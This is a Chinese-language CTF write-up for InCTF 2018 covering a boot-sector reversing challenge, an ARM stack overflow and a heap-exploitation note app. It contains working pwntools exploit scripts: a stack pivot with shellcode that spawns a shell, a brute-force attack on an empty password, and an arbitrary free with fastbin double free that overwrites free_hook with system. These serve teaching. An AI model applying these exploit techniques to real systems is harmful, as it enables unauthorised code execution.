美文网首页CTF Re&&Pwn
InCTF2018_load3r&&wARMup

InCTF2018_load3r&&wARMup

作者: Kirin_say | 来源:发表于2018-10-19 09:25 被阅读26次

    不算难的几个题,不过其中一个设为群内题,还是写一下WP,毕竟自己挖的坑自己填

    0x01 load3r

    无法直接运行
    猜测是类似网鼎第一场的Re
    使用qemu运行程序:

    qemu-system-i386 -drive format=raw,file=./boot_try.bin
    

    程序是让我们输入flag并进行判断
    IDA 16模式下载入
    看到主要是两个函数:

    sub_11b
    sub_128
    

    主要看一下sub_128(分析在注释里):

    seg000:0128 sub_128         proc near               ; CODE XREF: seg000:0011↑p
    seg000:0128                                         ; sub_128+1D↓j
    seg000:0128                 mov     ah, 1
    seg000:012A                 int     16h             ; KEYBOARD - CHECK BUFFER, DO NOT CLEAR
    seg000:012A                                         ; Return: ZF clear if character in buffer
    seg000:012A                                         ; AH = scan code, AL = character
    seg000:012A                                         ; ZF set if no character in buffer
    seg000:012C                 mov     ah, 0
    seg000:012E                 int     16h             ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
    seg000:012E                                         ; Return: AH = scan code, AL = character
    seg000:0130                 mov     ds:6Dh, al
    seg000:0133                 mov     [bx+6Fh], al    ; 这里不是string整个读入,而是逐个接收键盘输入,因此要一次性输入正确字符串,否则依然不正确
    seg000:0137                 cmp     byte ptr ds:6Dh, 0Dh;回车符
    seg000:013C                 jz      short loc_147
    seg000:013E                 inc     bx
    seg000:013F                 mov     si, 6Dh ; 'm'
    seg000:0142                 call    sub_11B      ;类似检验输入是否正常
    seg000:0145                 jmp     short sub_128
    seg000:0147 ; ---------------------------------------------------------------------------
    seg000:0147
    seg000:0147 loc_147:                                ; CODE XREF: sub_128+14↑j
    seg000:0147                 mov     ah, 0Eh
    seg000:0149                 mov     al, 0Ah
    seg000:014B                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
    seg000:014B                                         ; AL = character, BH = display page (alpha modes)
    seg000:014B                                         ; BL = foreground color (graphics modes)
    seg000:014D                 cmp     bx, 22h ; '"'
    seg000:0150                 jz      short loc_154   ; 判断输入长度为0x22
    seg000:0152                 jmp     short loc_184
    seg000:0154 ; ---------------------------------------------------------------------------
    seg000:0154
    seg000:0154 loc_154:                                ; CODE XREF: sub_128+28↑j
    seg000:0154                 mov     ax, 0
    seg000:0157                 mov     bx, 0
    seg000:015A                 mov     si, 6Fh ; 'o'   ; si=input_addr
    seg000:015D
    seg000:015D loc_15D:                                ; CODE XREF: sub_128+4A↓j
    seg000:015D                                         ; sub_128+54↓j
    seg000:015D                 mov     al, 31h ; '1'
    seg000:015F                 cmp     [bx+0C9h], al   ; 以bx+0xc9处"0"和"1"字符串为key,逐位与1比较
    seg000:0163                 jz      short loc_174
    seg000:0165                 lodsb
    seg000:0166                 shr     al, 1           ; 为1,则input[i]>>1
    seg000:0168                 mov     [bx+0EEh], al
    seg000:016C                 inc     bx
    seg000:016D                 cmp     bx, 23h ; '#'
    seg000:0170                 jz      short loc_1A8
    seg000:0172                 jmp     short loc_15D
    seg000:0174 ; ---------------------------------------------------------------------------
    seg000:0174
    seg000:0174 loc_174:                                ; CODE XREF: sub_128+3B↑j
    seg000:0174                 lodsb
    seg000:0175                 shl     al, 1           ; 为0,则input[i]<<1
    seg000:0177                 mov     [bx+0EEh], al
    seg000:017B                 inc     bx
    seg000:017C                 jmp     short loc_15D
    seg000:017E ; ---------------------------------------------------------------------------
    seg000:017E                 mov     si, 0EEh
    seg000:0181                 call    sub_11B
    seg000:0184
    seg000:0184 loc_184:                                ; CODE XREF: sub_128+2A↑j
    seg000:0184                                         ; sub_128+A1↓j
    seg000:0184                 mov     ah, 0Eh
    seg000:0186                 mov     al, 0Dh
    seg000:0188                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
    seg000:0188                                         ; AL = character, BH = display page (alpha modes)
    seg000:0188                                         ; BL = foreground color (graphics modes)
    seg000:018A                 mov     si, 65h ; 'e'
    seg000:018D                 call    sub_11B
    seg000:0190                 jmp     short locret_1D3
    seg000:0192 ; ---------------------------------------------------------------------------
    seg000:0192
    seg000:0192 loc_192:                                ; CODE XREF: sub_128+A6↓j
    seg000:0192                 mov     ah, 0Eh
    seg000:0194                 mov     al, 0Dh
    seg000:0196                 int     10h             ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
    seg000:0196                                         ; AL = character, BH = display page (alpha modes)
    seg000:0196                                         ; BL = foreground color (graphics modes)
    seg000:0198                 mov     al, 0Dh
    seg000:019A                 int     10h             ; - VIDEO -
    seg000:019C                 mov     al, 0Ah
    seg000:019E                 int     10h             ; - VIDEO -
    seg000:01A0                 mov     si, 4Ch ; 'L'
    seg000:01A3                 call    sub_11B
    seg000:01A6                 jmp     short locret_1D3
    seg000:01A8 ; ---------------------------------------------------------------------------
    seg000:01A8
    seg000:01A8 loc_1A8:                                ; CODE XREF: sub_128+48↑j
    seg000:01A8                 mov     bx, 0
    seg000:01AB                 mov     si, 0EEh        ; encode(input)_addr
    seg000:01AE
    seg000:01AE loc_1AE:                                ; CODE XREF: sub_128+94↓j
    seg000:01AE                 lodsb
    seg000:01AF                 cmp     al, 0
    seg000:01B1                 jz      short loc_1BE
    seg000:01B3                 mov     ah, 0Eh
    seg000:01B5                 xor     al, 5           ; 经加密后的input每一位xor 5
    seg000:01B7                 mov     [bx+9Ch], al
    seg000:01BB                 inc     bx
    seg000:01BC                 jmp     short loc_1AE
    seg000:01BE ; ---------------------------------------------------------------------------
    seg000:01BE
    seg000:01BE loc_1BE:                                ; CODE XREF: sub_128+89↑j
    seg000:01BE                 mov     bx, 21h ; '!'
    seg000:01C1                 mov     si, 9Ch
    seg000:01C4
    seg000:01C4 loc_1C4:                                ; CODE XREF: sub_128+A9↓j
    seg000:01C4                 lodsb
    seg000:01C5                 cmp     al, [bx+27h]
    seg000:01C9                 jnz     short loc_184
    seg000:01CB                 cmp     bx, 0
    seg000:01CE                 jz      short loc_192
    seg000:01D0                 dec     bx              ; 逆序比较
    seg000:01D1                 jmp     short loc_1C4
    seg000:01D3 ; ---------------------------------------------------------------------------
    seg000:01D3
    seg000:01D3 locret_1D3:                             ; CODE XREF: sub_11B+5↑j
    seg000:01D3                                         ; sub_128+68↑j ...
    seg000:01D3                 retn
    seg000:01D3 sub_128         endp
    

    大致过程就是

    接收输入
    利用预先定义的一组"01"对字符串逐位移位处理
    将上一步结果逐位xor 5
    最终与预先定义的字符串逆序比较
    

    提取数据脚本逆一下过程即可:

    key=[
      0x77, 0x32, 0x67, 0x31, 0x6B, 0x53, 0x3C, 0x63, 0x37, 0x6D, 
      0x65, 0x33, 0x6B, 0x65, 0x65, 0x75, 0x53, 0x4D, 0x67, 0x31, 
      0x6B, 0x53, 0x6B, 0x25, 0x53, 0x65, 0x3C, 0x3D, 0x53, 0x33, 
      0x25, 0x2F, 0x65, 0x2F
    ]
    key2=[
      0x30, 0x31, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x31, 0x31, 
      0x30, 0x31, 0x31, 0x31, 0x30, 0x31, 0x31, 0x31, 0x31, 0x31, 
      0x31, 0x31, 0x30, 0x31, 0x31, 0x30, 0x31, 0x30, 0x31, 0x31, 
      0x30, 0x31, 0x30, 0x31
     ]
    ans=""
    for i in range(34):
        if key2[33-i]==0x30:
            ans+=chr((key[i]^5)<<1)
        else:
            ans+=chr((key[i]^5)>>1)
    print ans[::-1]
    

    0x02 wARMup

    载入IDA,可以看到是一个arm程序
    给出了lib文件夹,且文件夹下:

    ld-linux-armhf.so.3
    libc.so.6
    

    运行程序:

    qemu-arm -L ./  ./wARMup
    #-L dir 指向BIOS和VGA BIOS所在目录
    result:
    Welcome to bi0s CTF!
    #接收输入
    

    IDA看到main函数:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf; // [sp+4h] [bp-68h]
    
      alarm(0x1Eu);
      setvbuf((FILE *)_bss_start, 0, 2, 0);
      puts("Welcome to bi0s CTF!");
      read(0, &buf, 0x78u);
      return 0;
    }
    

    程序保护

        Arch:     arm-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x10000)
    

    明显的栈溢出
    不过这里只能溢出16字节
    我们可以先迁移栈到一个已知且可写可执行的地址
    而后复用main中的read,将shellcode写入此地址
    再ret入shellcode即可
    调试:

    qemu-arm -g 1234 -L ./  ./wARMup
    #localhost:1234
    而后IDA连接gdb debugger即可远程调试
    或者:
    gdb-multiarch
    set architecture arm
    target remote localhost:1234
    

    EXP:

    from pwn import *
    
    context.log_level = "debug"
    elf = ELF("./wARMup")
    libc = ELF("./lib/libc.so.6")
    p = process(["qemu-arm", "-L", "./", "./wARMup"])
    shellcode = asm(shellcraft.arm.linux.sh(),arch='arm')
    stack_addr = elf.bss()+0x500
    payload='a'*100+p32(stack_addr)+p32(0x00010364)+p32(stack_addr)+p32(0x10534)
    p.recvuntil("!\n")
    p.sendline(payload)
    p.sendline(p32(stack_addr-0x4)+shellcode)
    p.interactive()
    

    0x03 securepad

    解法一

       switch ( (unsigned int)off_12B8 )
        {
          case 0u:
            exit(0);
            return;
          case 1u:
            authenticate();
            add();
            break;
          case 2u:
            authenticate();
            edit();
            break;
          case 3u:
            authenticate();
            delete();
            break;
          case 4u:
            authenticate();
            view();
            break;
          default:
            puts("Invalid");
            break;
        }
    

    每次操作都会调用authenticate()
    而authenticate()中:

    __int64 authenticate()
    {
      size_t n; // ST08_8
      unsigned int v2; // [rsp+4h] [rbp-41Ch]
      char s1; // [rsp+10h] [rbp-410h]
      unsigned __int64 v4; // [rsp+418h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      puts("Enter password");
      get_inp(&s1, 1024);
      n = strlen(password);
      if ( !strncmp(&s1, password, n) )
        v2 = system("sh");
      else
        v2 = 0;
      return v2;
    }
    

    而password:

    int init_password()
    {
      int fd; // ST0C_4
      char *v1; // rax
    
      fd = open("/dev/urandom", 0);
      read(fd, password, 0x20uLL);
      v1 = (char *)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
      table = (__int64)v1;
      sizes = (__int64)(v1 + 256);
      return close(fd);
    }
    

    利用/dev/urandom生成随机password
    不过有一定概率password初始就为"\x00"
    因此我们不断在判断password时输入0字节
    当遇到初始为"\x00"的情况便可以成功利用authenticate()调用system("/bin/sh")
    EXP:

    from pwn import *
    
    while True:
      p=process("./securepad")
      p.recvuntil(">>> ")
      p.sendline("1")
      p.recvuntil("password\n")
      p.sendline("")
      p.sendline("ls")
      if "size" not in p.recvuntil("\n"):
         p.interactive()
         break
      else:
         p.close()
    

    解法二

    delete处:

    __int64 delete()
    {
      void *ptr; // [rsp+10h] [rbp-20h]
      unsigned __int64 i; // [rsp+18h] [rbp-18h]
      __int64 v3; // [rsp+20h] [rbp-10h]
    
      puts("Enter index");
      v3 = (signed int)get_int("Enter index");
      for ( i = 0LL; i <= 9; ++i )
      {
        if ( i == v3 )
        {
          ptr = *(void **)(8 * i + table);
          break;
        }
      }
      if ( ptr )
      {
        free(ptr);
        *(_QWORD *)(8 * i + table) = 0LL;
      }
      return 0LL;
    }
    

    可以看到,当我们index大于10时
    ptr并不是根据索引获取
    而是利用栈上原本此处的数据
    而此处,位于在调用delete前的authenticate函数的
    我们input的password区域内
    因此我们可以传入一个大于9的index
    并在之前布置好栈空间,使ptr处为特定地址便可以将任意地址free

    思路:

    首先正常思路,使用fastbin来leak heap address
    而后构造一个fake chunk利用delete的漏洞free进入unsorted bin
    同样的思路利用分配的unsorted bin来leak libc
    然后double free fastbin来将一个chunk分配到malloc hook或free hook前,覆盖其为system address或one gadget即可
    

    EXP:

    from pwn import *
    
    context.log_level = 'debug'
    
    def authenticate(password):
        p.recvuntil('Enter password\n')
        p.sendline(password)
    
    def add(password, size, note):
        p.sendlineafter('>>> ', '1')
        authenticate(password)
        p.recvuntil('Enter size\n')
        p.sendline(str(size))
        p.sendafter('Enter data: ', note)
    
    def edit(password, index, note):
        p.sendlineafter('>>> ', '2')
        authenticate(password)
        p.recvuntil('Enter index\n')
        p.sendline(str(index))
        p.send(note)
    
    def delete(password, index):
        p.sendlineafter('>>> ', '3')
        authenticate(password)
        p.recvuntil('Enter index\n')
        p.sendline(str(index))
    
    def view(password, index):
        p.sendlineafter('>>> ', '4')
        authenticate(password)
        p.recvuntil('Enter index\n')
        p.sendline(str(index))
    
    p = process('./securepad')
    
    #leak heap_addr
    #0x21 0x21
    add('kirin', 8, 'aaaa\n')
    add('kirin', 8, 'aaaa\n')
    delete('kirin', 0)
    delete('kirin', 1)
    add('kirin', 1, 'a')
    view('kirin', 0)
    heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x61
    print 'heap base: {}'.format(hex(heap_addr))
    
    #fake_chunk
    #note 1  2  3
    #0x81->0x71->0x31
    add('kirin', 0x70, p64(0) + p64(0xe1) + '\n')
    add('kirin', 0x60, '\n')
    add('kirin', 0x20, '\n')#avoid the fusion between fake_chunk and top_chunk
    
    #leak libc
    #note 4
    #unsorted:0x70
    #unsorted bin->0x70
    delete('a' * 0x3f0 + p64(heap_addr+0x60)+'\n', 10)
    add('kirin', 0x70-0x10, '\n')
    view('kirin',2)
    libc_addr = u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78
    print 'libc base: {}'.format(hex(libc_addr))
    free_hook = libc_addr + 0x3c67a8
    print 'free hook: {}'.format(hex(free_hook))
    system_addr = libc_addr + 0x45390
    print 'system: {}'.format(hex(system_addr))
    
    #create 0x7f bypass the check of malloc
    #note 5
    #0x71
    edit('kirin', 2, p64(0) + p64(free_hook - 0x28) + '\n')
    add('kirin', 0x60, '\n')
    
    
    #fastbin double free
    #4->5->4
    #0x70->0x70->0x70
    delete('kirin', 4)
    delete('kirin', 5)
    #gdb.attach(p)
    delete('a' * 0x3f0 + p64(heap_addr + 0x60), 10)
    
    #chunk before free_hook
    #5->4->free_hook-0x1b
    add('kirin', 0x60, p64(free_hook-0x1b)+'\n')
    #4->free_hook-0x1b
    add('kirin', 0x60, '\n')
    #free_hook-0x1b
    add('kirin', 0x60, '\n')
    #overwrite the free_hook by system_addr
    add('kirin', 0x60, '\x00'*0xb+p64(system_addr)+'\n')
    edit('kirin',2,'/bin/sh'+'\n')
    delete('kirin',2)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:InCTF2018_load3r&&wARMup

        本文链接:https://www.haomeiwen.com/subject/rspjaftx.html